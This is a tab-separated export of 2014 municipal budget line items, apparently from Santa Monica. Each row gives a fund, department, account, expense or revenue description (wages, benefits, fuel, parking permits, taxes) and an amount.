8133	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE		DCAP	808.0	Salaries and Wages	2014	912.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	912.0
8134	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511749.0	VISION	808.0	Salaries and Wages	2014	964.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	964.0
8135	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		DCAP	808.0	Salaries and Wages	2014	492.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	492.0
8136	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		UNEMPLOYMENT	808.0	Salaries and Wages	2014	13402.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	13402.0
8137	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	21649.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	21649.0
8138	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522130.0	UTILITIES - WATER	808.0	 Supplies and Expenses	2014	177984.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	177984.0
8139	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544150.0	TREES/SEEDS/PLANTS/FERTILIZER	808.0	 Supplies and Expenses	2014	133125.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	133125.0
8140	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544200.0	SPORTS SUPPLIES	808.0	 Supplies and Expenses	2014	30362.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	30362.0
8141	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	588500.0	MISCELLANEOUS EQUIPMENT	808.0	 Supplies and Expenses	2014	5227.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5227.0
8142	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511749.0	VISION	808.0	Salaries and Wages	2014	417.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	417.0
8143	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		UNEMPLOYMENT	808.0	Salaries and Wages	2014	1035.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1035.0
8144	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511500.0	TEMPORARY EMPLOYEES	808.0	Salaries and Wages	2014	66093.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	66093.0
8145	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	404420.0	5TH AND ARIZONA PARKING	608.0	Licenses and Permits	2014	-400000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-400000.0
8146	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	402010.0	SM PIER - RENTAL	650.0	Charges for Service	2014	-2964825.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2964825.0
8147	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	5176.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5176.0
8148	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-2634.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2634.0
8149	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	936.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	936.0
8150	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	2104443.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2104443.0
8151	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	1860.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1860.0
8152	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	566471.0	SPECIAL EVENT TRAFFIC CONTROL	816.0	 Supplies and Expenses	2014	50000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	50000.0
8153	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	408580.0	ALARM REGISTRATION FEE	608.0	Licenses and Permits	2014	-151200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-151200.0
8154	BA	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	441	ALL OTHER TRANSACTIONS	566480.0	ILLEGAL DISPOSAL ABATEMENT GRA	808.0	 Supplies and Expenses	2014	398064.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	398064.0
8155	BA	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	544390.0	OTHER COSTS	816.0	 Supplies and Expenses	2014	24000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	24000.0
8156	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	566990.0	CRIME PREVENTION	806.0	 Supplies and Expenses	2014	39662.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	39662.0
8157	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	555210.0	TRAINING	806.0	 Supplies and Expenses	2014	15683.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15683.0
8158	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511900.0	VACANCY SAVINGS	810.0	Salaries and Wages	2014	-19823.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-19823.0
8159	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511900.0	VACANCY SAVINGS	812.0	Salaries and Wages	2014	-37023.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-37023.0
8160	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511900.0	VACANCY SAVINGS	810.0	Salaries and Wages	2014	-101754.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-101754.0
8161	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8162	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		UNEMPLOYMENT	804.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8163	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511580.0	COLLEGE SUMMER INTERNS	804.0	Salaries and Wages	2014	54632.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	54632.0
8164	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511711.0	MEDICARE-POLICE	804.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8165	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511920.0	UNIFORM / TOOL ALLOWANCE	804.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8166	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT		UNEMPLOYMENT	804.0	Salaries and Wages	2014	3561.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3561.0
8167	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	2640.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2640.0
8168	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	511900.0	VACANCY SAVINGS	816.0	Salaries and Wages	2014	-34207.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-34207.0
8169	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2014	812.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	812.0
8170	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	522910.0	VEHICLES - FUELS / LUBRICATION	816.0	 Supplies and Expenses	2014	104.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	104.0
8171	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	522950.0	CNG FUEL	816.0	 Supplies and Expenses	2014	1506.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1506.0
8172	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	544170.0	UNIFORM / PROTECTIVE CLOTHING	804.0	 Supplies and Expenses	2014	1000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1000.0
8173	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		ST. JOE-HPSHP		 Supplies and Expenses	2014	275943.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	275943.0
8174	BA	IS	19	CDBG Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	577723.0	ST. JOE SHELTER PLUS CARE-CDBG	810.0	 Supplies and Expenses	2014	3386.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3386.0
8175	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	408260.0	AHPP COMP MONITOR-ANNUAL FEE	622.0	Other	2014	-130000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-130000.0
8176	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2014	220375.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	220375.0
8177	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	511748.0	DENTAL		Salaries and Wages	2014	2434.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2434.0
8178	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT		EMPLOYEE HEALTH CONTRIBUTION		Salaries and Wages	2014	-1247.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1247.0
8179	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT		DISABILITY INSURANCE		Salaries and Wages	2014	1663.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1663.0
8180	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	6770.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6770.0
8181	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2014	26033.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	26033.0
8182	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2014	21246.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	21246.0
8183	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2014	3108.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3108.0
8184	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	52783.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	52783.0
8185	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522900.0	MEMBERSHIPS AND DUES	808.0	 Supplies and Expenses	2014	1500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1500.0
8186	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2014	8364.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8364.0
8187	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2014	72681.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	72681.0
8188	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544010.0	SPECIAL DEPARTMENT SUPPLIES	808.0	 Supplies and Expenses	2014	1000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1000.0
8189	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	555210.0	TRAINING	808.0	 Supplies and Expenses	2014	1500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1500.0
8190	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511490.0	OVERTIME	808.0	Salaries and Wages	2014	26295.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	26295.0
8191	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511774.0	RETIREMENT - AS NEEDED	808.0	Salaries and Wages	2014	2457.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2457.0
8192	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522310.0	OFFICE SUPPLIES / EXPENSE	808.0	 Supplies and Expenses	2014	908.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	908.0
8193	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522130.0	UTILITIES - WATER	810.0	 Supplies and Expenses	2014	15375.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15375.0
8194	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522150.0	STORMWATER MANAGEMENT	810.0	 Supplies and Expenses	2014	6400.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6400.0
8195	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	406000.0	ESTIMATED FEE INCREASES	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8196	BA	IS	25	Water Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	577500.0	TRANSFER - GF CODE COMPLIANCE		 Supplies and Expenses	2014	44459.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	44459.0
8197	BA	IS	31	Wastewater Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	577500.0	TRANSFER - GF CODE COMPLIANCE		 Supplies and Expenses	2014	34932.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	34932.0
8198	BA	IS	34	Stormwater Management Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	577500.0	TRANSFER - GF CODE COMPLIANCE		 Supplies and Expenses	2014	11342.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11342.0
8199	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400100.0	FRANCHISE TAX - UTILITIES	608.0	Licenses and Permits	2014	-961393.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-961393.0
8200	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400130.0	TRANSIENT OCCUPANCY TAX	606.0	Other Local Taxes	2014	-46540000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-46540000.0
8201	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400150.0	DOCUMENTARY TRANSFER TAX	606.0	Other Local Taxes	2014	-5100000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-5100000.0
8202	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-2679.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2679.0
8203	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	27657.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	27657.0
8204	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-10731.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-10731.0
8205	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2014	3040.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3040.0
8206	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511748.0	DENTAL	808.0	Salaries and Wages	2014	3651.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3651.0
8207	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		EAP	808.0	Salaries and Wages	2014	413.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	413.0
8208	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	345.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	345.0
8209	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	369514.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	369514.0
8210	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511250.0	STANDBY PAY	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8211	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2014	5368.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5368.0
8212	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		DCAP	808.0	Salaries and Wages	2014	288.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	288.0
8213	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511748.0	DENTAL	808.0	Salaries and Wages	2014	44252.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	44252.0
8214	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UNEMPLOYMENT	808.0	Salaries and Wages	2014	13491.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	13491.0
8215	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	21412.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	21412.0
8216	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	648607.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	648607.0
8217	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UNEMPLOYMENT	808.0	Salaries and Wages	2014	14311.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	14311.0
8218	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	6585.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6585.0
8219	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555870.0	GROCERY & SUNDRY ITEMS	810.0	 Supplies and Expenses	2014	1577.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1577.0
8220	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	533010.0	PERSONAL PROTECTIVE EQUIPMENT	806.0	 Supplies and Expenses	2014	94095.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	94095.0
8221	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2014	350.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	350.0
8222	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	401400.0	UTILITY EXCAVATION FEES	612.0	Charges for Service	2014	-89594.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-89594.0
8223	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	522160.0	TRANSFER STATION FEE	808.0	 Supplies and Expenses	2014	500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	500.0
8224	BA	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	405452.0	HBP- FHWA CAL INCLINE CONSTRUC	610.0	Intergovernmental	2014	-6833711.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-6833711.0
8225	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	400774.0	1630 17TH ST SUBLEASE	618.0	Rentals	2014	-109487.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-109487.0
8226	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	400290.0	PREF PARKING PERMITS	608.0	Licenses and Permits	2014	-1280000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1280000.0
8227	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	400310.0	STRUCTURE ATTENDANT PARKING	608.0	Licenses and Permits	2014	-6920093.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-6920093.0
8228	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	401320.0	PARKING STRUCTURE PERMITS	608.0	Licenses and Permits	2014	-1300000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1300000.0
8229	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2014	379377.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	379377.0
8230	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511771.0	RETIREMENT - POLICE	804.0	Salaries and Wages	2014	114671.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	114671.0
8231	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		EAP	804.0	Salaries and Wages	2014	413.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	413.0
8232	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2014	15375.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15375.0
8233	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522910.0	VEHICLES - FUELS / LUBRICATION	804.0	 Supplies and Expenses	2014	6396.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6396.0
8234	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	523000.0	VEHICLE MGMT FUND-MAINTENANCE	804.0	 Supplies and Expenses	2014	1025.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1025.0
8235	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	51800.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	51800.0
8236	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511748.0	DENTAL	804.0	Salaries and Wages	2014	29048.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	29048.0
8237	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	17670.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	17670.0
8238	BA	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	415	TRANSPORTATION MANAGEMENT	409300.0	TRANSIT INFRA CONTRIB-401 BROA	622.0	Other	2014	-125000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-125000.0
8239	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	566472.0	SPEED SURVEY UPDATE	816.0	 Supplies and Expenses	2014	60000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	60000.0
8240	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	401380.0	POUND FEES	612.0	Charges for Service	2014	-37465.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-37465.0
8241	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	544080.0	LICENSE TAGS / STICKERS	806.0	 Supplies and Expenses	2014	1150.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1150.0
8242	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	544060.0	JAIL SUPPLIES	806.0	 Supplies and Expenses	2014	68480.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	68480.0
8243	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	544090.0	MEDICAL/FIRST AID SUPPLIES	806.0	 Supplies and Expenses	2014	2500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2500.0
8244	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	566650.0	MALL MAINTENANCE	808.0	 Supplies and Expenses	2014	150675.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	150675.0
8245	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	533210.0	BLDG OPER / CUST SUPPLIES	810.0	 Supplies and Expenses	2014	8325.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8325.0
8246	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	533030.0	PROPERTY INSURANCE	810.0	 Supplies and Expenses	2014	61374.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	61374.0
8247	BA	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	578920.0	PROP A-MAINT (NOT LOCAL RETRN)	808.0	 Supplies and Expenses	2014	40000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	40000.0
8248	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400160.0	SALES / USE TAX	604.0	Sales Tax	2014	-26432071.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-26432071.0
8249	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	405100.0	PARKING FACILITY TAX	606.0	Other Local Taxes	2014	-10600000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-10600000.0
8250	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	405580.0	GILLETTE SETTLEMENT	622.0	Other	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8251	BA	IS	14	TORCA Fund	130	FINANCE	221	ADMINISTRATION	404060.0	INT DEP / INVESTMENT	616.0	Investment Income	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8252	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	401210.0	DAMAGE TO CITY PROPERTY	622.0	Other	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8253	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	401060.0	STATE SB 90 CLAIMS	610.0	Intergovernmental	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8254	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2014	513.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	513.0
